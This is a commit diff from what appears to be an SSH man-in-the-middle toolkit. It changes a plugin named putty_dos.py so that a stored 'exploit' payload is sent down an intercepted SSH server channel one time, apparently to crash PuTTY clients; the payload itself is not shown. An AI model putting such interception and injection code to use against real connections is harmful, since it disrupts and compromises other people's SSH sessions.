Skip to content

Commit 7d5b85f

Browse files
committed
Fixed breakinf typo
1 parent 0183b90 commit 7d5b85f

File tree

1 file changed

+4
-3
lines changed

1 file changed

+4
-3
lines changed

ssh_mitm_plugins/ssh/putty_dos.py

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
import logging
2+
13
from ssh_proxy_server.forwarders.ssh import SSHForwarder
24

35

@@ -21,8 +23,7 @@ def __init__(self, session):
2123
]
2224
self.executed = False
2325

24-
def stdin(self, text):
26+
def forward_extra(self):
2527
if not self.executed:
28+
self.server_channel.sendall('\n'.join(self.exploit) + '\n')
2629
self.executed = True
27-
return '\n'.join(self.exploit)
28-
return text

0 commit comments

Comments
 (0)